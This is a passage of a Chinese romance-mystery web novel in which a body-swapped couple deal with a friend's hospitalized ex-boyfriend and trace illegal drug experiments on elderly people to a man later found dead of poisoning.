然而提到周擎越,祁聿突然从床上坐了起来,转眸将视线狠狠钉在她的面孔上。
许暻微怔,又眯起眼——
她隐隐闻到了一股烧焦的味道,而那人周身已经冒出了火苗的轮廓。
祁聿不答反问:“他昨天跟你说什么了?”
他语气里的酸味和焦灼味都快溢出来了,许暻只挑挑拣拣简单说了两句。
“他说我们不合适,说我们是虚张声势得来的感情。”
“你别听他乱说!”话音刚落,祁聿已经等不及反驳。
他稍稍鼓唇,眉头也跟着蹙起,浓烈的酸味和火气中夹杂着一丝委屈。
许暻有些想笑。
她记得从认识这人开始,他总是一副波澜不惊的样子,冷淡和平静几乎是他的底色。
她这是第一次见到这种情绪,虽然是在她的身体里,但意识是他,她甚至已经自动代入他的皮囊里。
这种转性她喜欢。
她也学起他的样子,一手枕在脑后,一手抬上去用食指勾了勾他的下巴:“我如果听了他的话,现在就不会跟你躺在一张床上了。”
许暻的话像是带着魔力,轻飘飘地往外冒,却瞬间扫荡
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了祁聿脸上的阴霾。
不等他开口,许暻又质问:“我还没找你算账呢,你怎么让整个养老院都知道了我们俩的事,还有我爸妈,你居然就轻易地把我们同居的事抖出来了!”
对于这两件事,祁聿明显不认为自己存在错误的可能性,搬出他的歪理来解释。
他是以她的身份说的“他喜欢我”,这本来就是事实,而且他只跟王医生说了,是王医生传出去让整个养老院的人知道了,这不怪他。
还有给父母打电话,他可不习惯骗人,自然得实话实说。
“……”对于祁聿的说辞,许暻一眼看透,一句都不信。
他不习惯骗人?他不习惯骗人也坐不到现在的位置。
还只跟王医生说了不怪他?她就不信他在养老院没听见风声,想澄清也就一句话的事。
他就是故意的!
不过这不是重点,许暻又重新拉回正题:“所以那天到底发生了什么?”
祁聿的唇又瘪了下去,挑了挑眉道:“还不是说的一样的话,他就是不想让我们在一起。”
许暻没了声,不禁疑惑:
周擎越为什么这么不想让他们在一起?
是真的担心她这个师妹么?
然而思绪还没往下延伸,许暻又被祁聿扑过来。
她的头几乎陷进枕头里,双肩被他的手用力抵住。
视线交汇,她又看到了那团灼热。
最近祁聿经常对她显露这样的目光。
她不太懂这个目光在祁聿那里意味着什么,只知道这团灼热总是想要把她整个人都烧起来。
祁聿又凑近了些,他们的鼻尖快要贴在一起,呼吸在瞬间混杂。
他的话和灼热的气息一同扑过来:“他说了不算,在我这里,我们就是最合适的,我们天生一对,没有人比我们更相配!”
许暻被他突如其来的情话弄得思维有片刻短路,然而紧接着扑过来的,是他强势的吻。
她最先感觉到的,依然是如潮水般汹涌的窒息感。
她才意识到,祁聿的吻和他的性格是截然相反的——
他疯狂夺取她的氧气,动作在脱缰的边沿。
好似有一根很细的弦约束着他体内那团炽热燃烧的火,他只要轻轻用力,那根弦就会崩断,那团火也会跟着失控。
和昨晚一样,或许他依然是因为周擎越,冒出来的酸味已经无处遁形。托着她下巴的力道很深,压得她下颌骨都隐隐作痛。
许暻心底有一丝惧意,可更多的,是愈发强烈的兴奋。
仿佛他们身体里的某种因子完全合拍,只要有了碰触的桥梁,沉睡的因子被唤醒,他的火也会顺着桥梁渡给她,带起她的情绪。
不知道这是不是灵魂互换的作用。
直到缺氧的感觉再次弥漫,祁聿才松开她。
氧气重新灌入体内,他们下意识大口、急促地呼吸着。
祁聿仍抵着她的肩,直勾勾地盯着她。
房间里呼吸声此起彼伏,又在某一刻同步,最后渐渐平缓。
许暻看到他眼底的灼热依旧,以为他还有再来一次的架势,祁聿却突然松开她,规规矩矩地重新躺好。
“睡吧!”
许暻松了口气,但她的情绪还没完全恢复,明显觉得意犹未尽。
几分矜持的羞赧中涌出大量的甜丝,她状似不经意,淡淡“哦”了一声,稍侧过身,捏紧了被子。
正打算闭着眼眸平复入睡,一阵突兀急切的门铃声响起。
两人同时一惊,靠近门边的祁聿出去开门。
不间断的铃声催促着他的脚步,他连拖鞋都没来得及穿好。
许暻也跟了出来。
门刚打开,宋楹的语气和门铃声一样急迫:“他醒了在医院闹着要走!你们陪我过去好不好?”
47. 焰火+6
宋楹口中的‘他’是谁已经不消说,两人迅速相视一眼,祁聿冲在前面:“小暻,你拿好我们的外套和手机,带着宋楹在楼下等我,我先去停车场!”
“好!”
电梯的金属门合上,梯厢里只剩轻微的机械声。许暻把宋楹搂在怀里,不停安慰她。
宋楹整个身子都在发颤,断断续续地说了医院那边的情况,声音里带着浓浓的鼻音。
许暻大致知道,是游奕在晚间护士巡房的时候醒了,但他自己拔了心电监护的线,又拔了针,说他不住院。
护士联系宋楹的时候语气也很急,宋楹只听到那头很混乱,她们好像不太能拦得住游奕,所以她着急回复说自己马上赶过去。
宋楹的急切都写在脸上,眼角的泪痕还停在那里,两只眼睛都肿得不成样子,她一个人冷静的时候应该又是哭过了。
衣服的扣子也扣错了位置,许暻搂着她先上了车,又边安慰边帮她重新扣好外套的扣子。
“楹楹,别担心,我们就过去了,医院里有值班的医生护士,还有安保,游奕肯定不会出事的。”
深夜的马路上,写字楼的灯光都已经熄得差不多了,冷风呼呼吹着,从车窗的缝隙里窜入,从衣服领口往里灌,许暻越来越清醒,身旁的人也颤得越来越厉害。
好在祁聿开车比较稳,医院也不远。
二十分钟后,车在住院部门口刚停好,宋楹就从车上冲了下去。
许暻也来不及说什么,赶快追了上去。
楼下值守的安保认识宋楹,直接给她们开了手术梯。
宋楹站在靠近电梯口的位置,两只手攥紧,双眸直勾勾地盯着面板上快速滑动的数字。
许暻感觉她整个人绷得很紧,安静的梯厢里甚至听不到她的呼吸声。
直到电梯到达楼层,门一打开,许暻听到宋楹重重吐了口气,然后从没有开全的缝隙里钻了出去。
病房走廊里依稀能听见还未平息的轰响。
有几个病人的家属为了探情况,靠在门边伸了大半个身子出来。
陈护士宛若看到救命稻草一般,跟着宋楹往里面冲。
她解释说她和另一个值班护士拦了好久都没拦住,是她去叫了夜班医生出来帮忙,才能联系上宋楹。
这会林医生和周护士还在病房。
她们距离病房越近,里头的声音就越清晰。
再听到熟悉的声音,许暻微微一怔,担忧地看向宋楹。
下一秒,宋楹的两条腿便开始发软,险些摔倒。
许暻及时把人扶稳,陈护士已经先了一步跑进去说宋楹过来了。
里头的声音戛然而止,宋楹也不自觉顿住了脚步。
只剩下两步路,她却觉得双腿异常沉重。
“楹楹……”许暻轻轻唤她一声。
宋楹抬手抹了眼泪,从许暻怀里站直身子,迅速走完了那两步路。
病房里的光亮打在门口的人身上,空气有一瞬间的停滞。
坐在床边的人身形狠狠一僵。
好几双眸子错乱对视,最后却没有一双眼眸成功对上。
林医生他们先出去了。
她盯着床边的人,往里走了几步,距离那人越来越近。
许暻也跟着往前,视线同样落在他身上,他却明显闪躲。
游奕身上穿了病号服,头上的纱布像是被他扯过,几团杂乱的头发冒出来,手上还有大片没有清理干净的血,按在针眼的敷贴也被血液浸透,有掉落的趋势。
他低着头,似乎还想要再往下低一些,好让眼前的两个人完全看不清他的面容。
按在床沿的手捏紧,甲床里发白的肉被他黝黑的肤色衬得更明显。
许暻看到宋楹的身体又颤了起来。
她咬着唇,几秒之内像是耗尽了自己全部的力气,最终轻飘飘地开口:“游奕……”
床上的人又狠狠一激灵,却也不抬头,更不回应。
许暻以为宋楹会直切主题地质问他这几年到底为什么失联,然而她却咬着牙,像对待病人那样说:“你知不知道自己是刚从ICU里出来?知不知道自己刚醒?知不知道还有发生并发症的可能?”
她一个字接着一个字往外吐,哪怕已经让出口的话足够清晰,也依旧掩盖不了浓重的鼻音,以及脸颊滑过的一串又一串泪珠。
那人还是不说话。
许暻等得有些急,尤其因为他让宋楹又哭得这样难受,她开口催促:“游奕,难道过了这么久,你连话都不会说了么?”
祁聿的声线听上去带了点压迫感,床边那人的肩小幅度颤了颤。
他迟疑了两秒,最后深吸了口气,重新抬头,可视线始终没有落定。
他扯了扯唇道:“宋医生,多谢你的关心,但我已经说得很清楚了,我不想住院。”
“游奕,你这是什么态度?当初一声不吭地就消失,现在又莫名其妙的又回来,你把我们这些朋友当什么?又把楹楹当什么了?!”
许暻本就对他颇有怨念,宋楹等了他五年,哪怕他莫名其妙回来了,住进了医院,他们也是先考虑他的身体,他们三个人更是大半夜从家里赶过来。
结果他就是这么个态度!
可游奕对她的话却没有一丝动容,他垂下眸,让人无法辨清神色。
曾经清澈明朗的声音不知道什么时候已经覆上了一层阴霾,他沉沉道:“所以你们也不用管我,已经一别多少年了,也难为你们还把我当朋友。”
话音刚落,一道清脆的巴掌声快速荡开,游奕的头被稍稍打偏过去。
宋楹已经站在他跟前,泪珠还是忍不住往下掉,她红着眼道:“游奕,我现在既不是站在你朋友的角度,也不是站在医生的角度,你不觉得你应该给宋楹一个解释么?”
滚烫的热泪落在了游奕的裤子上,他依旧不去看她。
甚至觉得听到了什么好笑的事情,哼笑一声:“宋楹,我们都分开这么久了,成年人的世界里,不联系就是没感情了,有什么好解释的?”
宋楹捏着拳,明显强忍着再给他一巴掌的冲动。
游奕又接着说:“我们早就没关系了。”
许暻已经听不下去,想冲上去帮宋楹把那一巴掌扇过去。
病房的门却突然从外面打开,祁聿终于进来。
他拉住许暻,平静地瞟向床边那人:“谁说你们没有关系?游奕,宋楹现在是你的债主。”
闻言,三个人均是一愣。
祁聿解释:“你的医药费是宋楹帮你出的。”
那人终于舍得抬眸。
然而只是一眼,眸子又垂了回去。
祁聿接着补充:“你的治疗费用可不少,汽车修理厂的工作强度不算小,我奉劝你好好住院养好身体,尽快还钱,你不把我们当朋友就更好办了,这样宋楹也能直接找你要债。”
许暻悄悄捏了一下他的手心,气焰瞬间消散了大半。
宋楹会意祁聿的意思,接过话茬:“是,既然你不愿意解释,也不把我们当朋友,那就直接谈钱吧。”
游奕又不说话,沉默了好久。
另外三个人默契地也不做声。
又过了一会儿,他说给她立字据。
祁聿又
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突然说了句:“立字据可以,不过宋楹是看在以前的情分才帮你出的医药费,现在你又说不是我们的朋友,我们又不清楚你的底细,这字据也是立得让人担心啊。”
许暻很快明白了他的意思。
果然还得使狡猾那套。
游奕被他堵得有些说不出话,盯着他们这个方向欲言又止,好久才说:“不用知道底细,我不会跑。”
“那这可说不好,毕竟有这个前车之鉴。”许暻也学起祁聿的那套,话里话外都是阴阳。
“……”
但那人仍然犹豫。
半天没个结果,宋楹先松了口:“既然不愿意交代底细,我们至少得知道你到底发生了什么才进医院。”
她的话却陡然提醒了他,游奕没回答,转头去找东西,手上的血又跟着往下滴:“我的手机……”
刺眼的猩红落在白色地板上,许暻蹙了蹙眉,低声和祁聿说:“我去叫护士过来,这交给你了。”
长廊外等着看热闹的家属已经进去了,夜晚的病房又重新恢复了平静。
许暻认识陈护士,出了这样的麻烦事,她也只能好声好气地让陈护士过去给游奕重新输液。
回了病房之后,许暻倒是有些意外——
游奕已经安分地躺上床,宋楹坐在小沙发上,祁聿站在床前。
这一次他倒是没抗拒,让护士帮他清理了血迹,重新输好液,安上心电监护,林医生又过来看了一遍,确认他没有危险之后才走。
许暻才知道,游奕是因为一周前在翻照片的时候无意发现自己当天拍的照片里,有一个老人被绑了起来,老人旁边有一个男人,看不清在对老人做什么,神色也不清。
他那天也是突然发现,怀疑是什么绑架案,原本想报警,谁知道起来急了,就成了现在这样。
至于他的陈旧伤,他解释得很含糊,只说自己是摔了一跤,没去检查。
那张照片是在他从家里去修理厂的路上拍的,那一段位置偏僻,基本都是废弃房屋,他只记得大概是在一颗桂花树附近。
祁聿说会帮他去找手机,也会去查看他说的地方。
最后许暻和祁聿带着宋楹走了。
祁聿建议宋楹对游奕冷处理,不管心里怎么想,表面上只当他是病人和欠债人。
他既然什么都不愿意说,那他们也只能耍点小手段了。
“那万一他真的只打算把钱还完就走呢?万一他真的是如他所说的那样呢?”宋楹问。
祁聿笑得一脸泰然:“你相处了几年的男朋友,还不了解他?”
这话一出,宋楹不说话了。
许暻也瞬间明白了——
游奕是典型的出了事自己扛着的性子,从来不愿意让他们担心。
他越是着急撇清,越是说明他背后藏着不能被他们知道的秘密,也是让他变成这副模样的秘密。
过了一会,宋楹才应:“我知道了。”
……
许暻第二天醒来的时候,祁聿已经走了。
她迷迷糊糊记得祁聿走之前跟她说,他要提前出门去汽车厂找游奕的手机,她这里没有咖啡机,所以他已经提前预订了她常喝的那家咖啡,在她上班之前会送到。
还有她和宋楹的早餐,他做好了放在保温柜里。
许暻早已习惯他的体贴,欣然接受了。
等她好不容易安慰着宋楹吃了早餐,又把人送去了医院,自己才打算去颐安。
她才准备走,就接到了祁聿的电话。
“小暻,我在游奕的病房,那张照片里,把老人绑起来的人,是张启林。”
48. 焰火+7
许暻以最快的速度上了楼。
病房里,祁聿手里还拿着游奕的手机。
“怎么看出来的?”许暻什么话都来不及说便直接问。
祁聿放大了那张原本看上去是风景图的照片,桂花树后边有个小窗户,放大之后,明显能看清里头的人。
头发花白的老人被绑在凳子上,身旁的男人手里明显拿着注射器。
虽然辨不清神色,但依然能看到长相。
就是张启林。
许暻皱眉:“报警了吗?”
“还没有,我想让你拿着这张照片去怡康附近的警局报警。”祁聿说。
许暻不解:“为什么?”
祁聿只笑了一声说:“桐馨今天还有好多事要忙,我得赶紧过去才行,不能耽误许总的工作啊。”
他直接当着游奕的面叫她许总,许暻又心虚地瞟了一眼床上那人。
祁聿捕捉到她的神情,安慰道:“我已经跟他说了,他不会告诉别人的。”
祁聿虽然顶着许暻的脸,但单就昨晚的对话,光凭那副模样游奕就能看出一二。
许暻抿了抿唇,床上的人正看着窗外。
担心他又说些难听的话伤到宋楹,许暻还是提前警告道:“游奕,你既然选择了住下来,态度最好放好一些,楹楹不欠你的,反倒是你,欠她的都不知道什么时候能还清!”
那人一动不动,一言未发。
……
许暻最后还是照祁聿说的,开他的车去了怡康附近的公安局报警。
根据照片,他们很快确认了目的地,是康安街里道的一个废弃了好几年的仓库。
接待许暻的警官很快给了她答复:“祁先生,照片我们已经录入,还请您留个联系方式,后续如果有任何问题,还请您务必过来协助调查。”
“我知道了。”
从警局出来之后,许暻回颐安的路上偶然经过怡康。
现在看着这块地,她隐隐有些担心。
张启林、老人、注射器、张奶奶、不明药物……
如果张奶奶体内的不明药物是张启林注射的,那怡康以前……
可她当时做背调的时候是完全没问题的。
当时易玲也和她一起做了反复的确认。
还有张启林当时急着把怡康卖给她宁可自降身价,究竟是为了什么?
当时她是为什么才会想到去收购怡康来着?
许暻盯着被围起来的地块,眉头拧得越来越紧。
她想起来了,是易玲说可以考虑扩大桐馨的板块,但愁着没地可选,是周擎越给她们推荐了怡康,说怡康是爷爷曾经也非常信赖的合作伙伴。
爷爷……
易玲、周擎越……
蓦地,一阵哄闹打断了许暻的思路。
车窗外有一对母子争执不断,许暻本无意听,但那母亲突然言辞果断道:“那是死了人的!咱们赶快搬走才行!你马上就结婚了,这种事不吉利的!”
儿子却不以为意:“一个孤寡老人去世了而已,谁人没有生老病死的?”
许暻迟疑两秒,又把车窗开全,探头出去:“您好。”
母子俩稍稍一惊,脚步跟着停下来。
“抱歉,刚刚不小心听到你们的对话,请问这附近是有老人去世了吗?”
母亲‘哎哟’一声,两只手在胸前摆弄,面露嫌色:“是的呀,就是前两天早上嘛,住在附近的一个老大爷死在家里了,哎哟我儿子这过两天就要结婚了,你说这多不吉利的呀。”
“妈,”儿子按下了母亲的手臂,安慰道:“都说了这没什么。”
他又重新跟许暻解释,说周六早上一个孤寡老爷爷去世了,有人报了警,警察给人拉走了,所以这事只要是住在这一带的基本都知道了。
“周六早上?”许暻又确认道。
那人点头,还说就是因为周六,大家都休息在家,所以消息也就传得更快了。
是她和宋楹带张奶奶去医院检查的那天。
那就不是游奕拍到的照片里的老人了?
“谢谢。”许暻无事再问。
窗外的母子也继续往前走,争执仍然未停。
……
许暻终于回了颐安,打算先等卢警官的消息。
刘助照例进来汇报日程。
许暻拟定的方案已经交给下面去做风险以及价值评估,智能护理床的精进方案已经交上来,跟颐安有合作意向的企业也在筛选。
“祁总,还有一直和咱们合作的郑总这周要出国了,说至少在半个月内都不会跟国内有联系,所以想在出去之前再跟您见个面。”
许暻之前在熟悉颐安的时候已经知道,这位郑总是颐安推出智能护理床的一家合作方,祁聿非常信任他们公司的研究和技术,也非常相信这位郑总的为人。
许暻点了点头:“没问题,你安排吧。”
为了不出意外,许暻在见面之前还是和祁聿通了气。
她又知道了这位郑总和祁聿年龄相差不大,刚过三十岁,他所在的医疗器械公司是他父亲的产业,他也算是子承父业。
郑总每次见面都会给祁聿带他岳父酒庄里自产的红酒,所以他也需要在见面之前准备回礼。
祁聿告诉她,在他休息室里有一个小柜子,里面备着他珍藏的茶叶,郑总爱喝茶,作为回礼再合适不过。
许暻蹲在休息室的柜子前,挑了一个看上去低调大气的礼盒,对着电话那头揶揄:“祁总很会办事嘛,对别人能面面俱到,对我就没那么好了哦?”
“许总觉得哪儿不好了?直接指出来,我改。”那头的人尾调轻轻上扬,消了原有的低沉。
许暻让刘助把礼盒放好,又在人走了之后接着跟电话里的人理论,说他以前是个眼高于顶、自信过头的科技怪,且说话没情商,常常让她当众下不来台。
直到现在,圈内也还是认为他俩不和。
以为他会为自己辩驳几句,没想到那人光速滑跪:“行,‘自负科技怪’错了,许总要不要考虑一下什么时候给我换了称呼?”
许暻把手机拿开了些,目光触及他手机上的备注,对着电话里‘嘁’了一声:“您对我的称呼好像也没好到哪儿去,‘毒舌野玫瑰’,我明明非常近人。”
“天地良心,你是对其他人近人、对养老院的老人近人,对我是真的毒舌,许总您是不知道,我时常深夜躲在被子里哭呢!”
“……”
许暻不知道他的嘴也会跑火车。
他又补充:“不过现在确实不是野玫瑰了,是祁聿的玫瑰。”
话音刚落,长长的一声“嘶”窜行在连接的电流中许暻拍了拍胳膊上冒起的鸡皮疙瘩:“打住!不跟你闹了,还工作呢,警局那边我也去过了,现在就等着消息就好了。”
短暂的电话粥结束,许暻重新进入工作状态。
养老社区这两天一切正常,新来的护工做事非常积极,参加培训的时候甚至能带动以前的护工一起,更以身作则,对老人关怀备至。<
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老人们依旧喜欢和语音助手交流,但闲时之余,他们也会跟护工有更多的交流。
晚饭之后的广场舞,老人们也会拉上几个护工一起。
不受约束和控制的活动室内几乎每个时间段都有老人在里头;食堂的菜谱有了挑选的余地,老人们进餐时也更加喜悦,对第二天的餐食又有了更多期待;监控里调取的画面能看到值守人员动起来的时刻增加,‘偷闲’时刻虽然难免,却也能看到他们和老人之间逐渐增加的交流。
张奶奶自从上次医院受惊以后就一直在床上躺着,状态还算得上稳定,只是念叨阿澄的频率越来越高。
许暻打算见完郑总之后去社区再看看她。
……
正如祁聿所说,郑总的确是一位年轻有为、谦和有礼的男人。
他约祁聿出来主要是想谈谈护理床的精修工作,方案已经交到了祁聿手里,剩下的就是施行。
精进的工作可以直接在系统数据里进行,然而也是因此,要更注意系统数据的严密与安全。
之前社区的黑客入侵事件他也听说了,所以这一次也想为了自己企业的声音,帮颐安做个双重保险。
郑总递了一个u盘给许暻,解释说:“这里面是我找公司的技术人员做的一个安全防护系统,万一系统再次遭黑客侵袭,这个安全防护能保障原有的数据不丢失,能够被调取出来。”
许暻舔了舔唇,没有急着伸手。
见‘他’迟疑,郑总又补充:“祁总放心,这里头除了安全防护系统,什么都没有,不过为了保险,祁总也可以去检测确认。”
闻言,许暻干笑两声,两手并叠,接下u盘,主动规避了矛盾,直接道谢:“还是郑总考虑周到,u盘我收下!”
交代了一些需要注意的问题后,郑总又跟‘他’约定说等回来之后要邀请他去酒庄做客,整个过程中,许暻应付得倒还算是得心应手,没有露出破绽。
她顾着礼节,送了郑总去车上。
结果走到半路不知道从哪儿冲出来一个小孩,手里拿着大把纸条,撞在了郑总身上。
小孩直接摔倒在地,手里的纸条全部飞出来,被风吹散一地。郑总往后踉跄了几步,手机险些撞掉。
许暻赶忙把人扶住,又蹲下身去把小孩抱起来站好。
“小朋友,走路要注意一些呀,小心安全才行,有没有哪里摔着了?”
小孩紧捏着手里剩下的纸条,嘴唇紧抿着摇了摇头。
许暻揉着小孩的肩笑了笑:“没事就好,我帮你捡吧。”
见状,郑总也跟着一起捡,捡到一半,他有些意外地笑了声。
把纸条递给许暻,摇头道:“现在的小朋友想象力和行动力太大胆了。”
许暻不解,接过那张纸条,看清楚上面的字样后哭笑不得——
这张纸条上歪歪曲曲地仿写了支票上的字样,数额倒是不大。
她又蹲下来,把所有的纸条还给小朋友,又单拿出那一张劝说:“小朋友,这个是不能瞎写的哦,你看其他纸条上写的算术和成语多好呀,以后可不能再写这个了,知道吗?这个我就帮你扔掉了好吗?”
小孩依旧不说话,神色稍稍紧张,最后又点了点头,还不等两人注意,他已经跑远了。
一段小小的插曲之后,许暻刚送走郑总,准备和刘助一起去社区。
结果刚上车,她接到了卢警官的电话:“祁先生,我们这边查到了一些消息,麻烦您配合过来录一个详细的口供。”
49. 焰火+8
行程被打乱,许暻又只好让刘助先回去,她自己去警局。
卢警官已经等候她多时,她才进门,就被人引着往里头的审讯室走。
卢警官问了些常规的问题。
无非也就是祁聿和张启林的熟悉程度,以及照片的来源。
许暻如实说明,她才知道,这张照片里的老人已于周六上午在家中去世,当时报警的人是一个早上刚下夜班回家的男人。
据他所说,那天他路过的时候看到有一个男人从老人家里冲出来,戴着帽子,那人跑得很快,他也没看清,深巷中没有摄像头,无从考证。
经调查,老人是社会关系简单的孤寡老人,怡康还没有倒闭的时候老人在怡康养老,倒闭之后,老人回了自己原有的住所。
但据周围见过老人的人描述,老人近些年的精神状态越来越差,以前还能认得清人,现在已经完全认不清。
至于那间仓库,里面没有留下任何痕迹,没有指纹、没有药物痕迹,甚至连照片里拍到的绳子和凳子也都没有踪迹。
应该是被清理过。
而警方也派出人力去找寻张启林,但目前还没有消息。
去张启林任职的医药企业查过,他突然办了离职手续,家里的东西还在,但就是不见人。
和祁聿说的一样。
所以张启林是因为错杀老人,所以躲起来了?
问到最后,许暻又补充:“卢警官,我这里还有一段录音,也是和张启林有关,这件事牵扯到一年前的一场意外车祸,肇事者目前被关押在监狱里,我能不能请您帮个忙?”
许暻再次摘下智能手环,找出来那段录音。
卢警官盯着暂停的音频,迟疑两秒,朝她伸了手。
只有几句话的录音很快结束,卢警官神色微凛,稍稍严肃。
“卢警官,能不能请您让赵先生和他老婆见一面?或许能知道更多有关张启林的消息,而且…而且这件事关乎我家里的两位长辈…我实在是太想知道到底是怎么一回事……”
许暻压低了声音,语气诚恳,近乎乞求诉说。
最后卢警官让人把录音存档,让她先回去等消息。
从警局出来以后,时间已经不早了。
不过许暻没急着回家,而是去了怡康。
重新站在这里,暴雨中闪烁着微弱红光的招牌早已被拆下,只剩光秃的旧墙。
许暻盯着围起来的墙布看了一会儿,眸光慢慢汇聚,直接往里走。
这里她来过几回,但这一次心底却带着层层疑丝。
去世的那位老人是怡康的,张奶奶也是怡康的,甚至两人都跟张启林相关。
所谓的负责人,难道就是用这个地方来‘收集’老人,来达到自己肮脏的目的么?
这里真的就像他们做背调那样‘干净’吗?
昏黑的空间里,许暻开了手电筒,杂乱潮湿的尘土混在空气里,她抬手捂住了鼻唇。
好不容易摸到灯的开关,屋子里终于亮堂起来。
屋子里还有没清扫干净的垃圾,米白色的地板被灰尘浸染得快要看不出原来的样子。
许暻绕过大厅,去了后面的房间。
她记得怡康的布局,前面是大厅和工作人员的办公室,后面一整层是老人们住的房间,二楼是后勤部和行政部,穿过后门是餐厅和后花园。
布局相当简单。
房间除了门,里面的东西也被一扫而空。
看上去仍然没有任何问题。
且房间朝阳,十分适合居住。
一间间看过,依旧像她当初做背调时一样。
她又接着往后走,去了后花园。
这里长时间没人打理,花花草草都已经枯萎得差不多了。残枝败叶随意地掉落,难见生机。
环视四周,不管是墙壁、秋千还是长椅,都再正常不过。
除非这里有暗门或者地下室,根本找不到能把老人绑起来的地方。
沉思之际,花园的木板桥上猝然一声闷响,许暻心口一紧,以为有人。
转眸看去,她又松了口气:是一只小猫窜过,不知道是不是感知到活物,那只猫窜到她脚边。
粉嫩的嘴里还叼着一小块面包碎。
许暻走过去,想要安抚小猫,那猫却不怎么近人,不等她碰上来就已经窜得没影了。
她又重新站起来。
站在木板桥上,能看到围墙外一栋小平层的全貌。
小平层据说是一年前新建的,不过一直被铁链锁着,好像无人使用。
从许暻这个角度看过去,还能看到铁链在门上挂着。
恍然分了神,许暻刚想续上思路,手机又响了。
是祁聿的电话:“今天加班吗?”
“没有,我去警局录口供了,然后来怡康看看。”许暻解释。
电话那头的人稍愣:“怎么去那了?”
“我现在回去,回去跟你说。”许暻看了眼腕表,不打算多留了。
从怡康出来之后,她拍了拍沾上的灰尘,正欲上车,身侧一阵轰鸣。
她下意识侧眼看去,一辆黑色的跑车飞速驶过,是它发动机冒出的声响。
她没看清车型,也没看清车里的人。
暗暗咂舌,居然在这种道路都能开这么快。
那车的轰响声消失得也快,许暻没有继续留意,准备回家。
……
今晚的晚餐是面包芝士焗蟹,祁聿新学的一道菜,说是换换口味。
他戴着手套,把蟹肉剥好了往她碗里放。
又放了两块面包在她碗里。
“味道怎样?”
许暻现在心情不在吃上,她还想着张启林的事,语气稍稍不满:“你有没有听我说话?”
“警察不是让等消息?那我们就先等消息,现在吃饭更重要。”
“可是……”
她还欲反驳,祁聿却直接将裹满芝士酱的面包塞进许暻的嘴里,义正言辞道:“许总,作为你刚上任的男朋友,我觉得我有必要在你面前多表现表现自己,用我这一桌的劳动成果,换一顿饭的时间,不过分吧?”
芝士的咸甜在舌尖化开,带着面包的香软微甜,把扰人心绪的话完全消灭。
许暻虽然满腹疑惑,但此刻还是妥协了。
她一手托在唇下,接着可能掉下来的被咬断的面包碎。
果然,咀嚼了两口,就有一块小小的面包碎掉在掌心里。
她抽了张纸擦嘴,准备把手里的碎屑扔掉,思绪陡然一震,双眸下意识瞪大,嘴里咀嚼的动作也停下来了。
祁聿又剥了新鲜的蟹肉放进她的碗里,见她情绪不对,他的动作也跟着停下:“怎么了?”
许暻缓慢抬眸,视线融入他的眸光里,面色愈发凝重,她快速吞下嘴里的食物,然后说:“一个长时间没有人的地方,怎么会有面包碎屑?”
“什么意思?”祁聿不解。
“我今天在怡康的后花园那里撞见了一只野猫,它的嘴里叼着一块面包碎屑。”
只是说完之后,许暻又瞬间松懈下来,换到另一种可能:“不过也许那只猫是从别的地方跑进来的……”
话音刚落,祁聿摘了沾了芝士酱的手套,又迅速擦手,“如果真的怡康里面藏了人呢?”
两人对视沉默两秒,同时起了身,拿了外套出门。
将近一个小时的车程再回到怡康,还是和许暻离开的时候一样。
两人开了灯,在每个房间里都重新探过。
许暻警惕地看向周围,再走到后花园时,天色如墨,黑得彻底。
这样的氛围容易让人缺乏安全感,许暻也不知道是不是受黑夜的影响,一股可怖的寒意悄然而生。
两人牵着手,站在木板桥上,正欲往前。
蓦地,一道刺耳的猫叫声冲进耳膜,伴随着铁链掉落的声音,不知道是哪里的门“哐当”一声。
两人均是一愣,然而下一秒,许暻猛地捏紧了祁聿的手——
她侧眸看到了围墙外的小平房,那里头灯光昏暗,一道人影横在地上,辨不清面容,身旁还倒着一个饮料瓶。
许暻看到那只猫比她在的那会跑得更快,扯着嗓的尖锐叫声即使跑了很远也依旧清晰可闻。
许暻下意识想往前瞅,身边的人却把人拉住:“等等!”
祁聿面色严肃,声音罕见地蒙上了一层颤音:“先别过去,很奇怪,直接报警。”
……
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二十分钟后,小平房里的灯亮起,倒在地上的人影面容清晰可见。
许暻却怎么也没想到会是这样的结果——
张启林喝了带有氰/化/物的饮料,已经没有任何生命体征。
在他脚边,留有一张遗书。
遗书看上去是张启林的字迹:我有太多罪孽,我只想早些离开。
而这栋平房里,除了张启林的尸体和没有被他吃完的食物,还放着几箱未开封的注射器,桌上架着大大小小的玻璃试管和酒精灯,以及一些残余的药品。
许暻和祁聿站在被挡在警戒线外,手心里已经濡出了一层冷汗。
张启林自杀了?
他是在这栋小平房里自杀的?
这栋小平房是他的?
是她在的那会他就已经死在里面了还是她走之后才死?
许暻捏着祁聿的手隐隐发抖,后槽牙也跟着绷紧,腮侧鼓出了两个小小的半圆包,死死盯着那扇开着门的小平房。
喉间尚且停留的芝士无端冒出了一股涩味,带动胃酸,在食道里充斥着反胃的感觉。
又看到横在门口的那两条腿,她几乎要忍不住。
突然,身体被人拉扯了两下,眼前的一切被挡在了背后。
祁聿站在她跟前,两只手牢牢地握住她:“别害怕。”
许暻面色苍白,拼命压下舌尖的难忍,眼角隐隐发酸,她蹙眉点了点头。
两人被带回警局问完话才被放走。
三天后,许暻和祁聿得知,那栋小平房的确是在张启林的名下,目前已经排除他杀嫌疑,确定张启林为自杀,药物是他从前不久任职的医药公司偷来的,这一点已经被公司老板陈以轩调取监控证实。
监狱里的赵强在见到妻子之后已经承认,一年前他偶然遇到张启林,以一百万的代价换取他开着货车去撞一辆他指定车牌号的车。
张启林本没有要求他把人撞死,但车内的两个人却因为他的撞击力度过大都死了。
给他妻子多出的二十万,也许就是张启林对他超额完成任务的‘奖励’。
后赵强继续服刑,他的妻子受不了打击出现精神问题被送往精神病院。
小平房里残留的药物经检测和孤寡老人身体里残留的药物成分相同。
经检测,这种药物能够滤化细胞,去除细胞里的某些有害物质,从而达到延缓细胞衰老的目的。
但成功率极低,试验的几十个培养皿中,只有一个成功剥离有害物质,但细胞在维持片刻的“超活跃”状态后快速衰老死亡。
警方猜测,许暻的爷爷奶奶应该是无意撞破张启林绑起老人试药,做违法勾当,企图做出延缓细胞衰老的药物,被他杀人灭口。孤寡老人因被注射药物的用量不当致其死亡。
至此,一年前许暻的爷爷奶奶意外车祸身亡、周六孤寡老人的死亡事件都因张启林自杀告终。
至于许暻又提到的林澄失踪的案件,跟张启林事件不太能挂上钩,也没有任何证据指向。
这件事许暻和祁聿打算瞒着父母,毕竟他们好不容易才回到正常的生活里,父母也马上要退休,再告诉他们,她担心他们受不了。
只有宋楹知道了,许暻暂时还没有告诉周擎越。
许暻和祁聿请了两天假在家。
许暻在家哭了两天,祁聿在家陪了她两天。
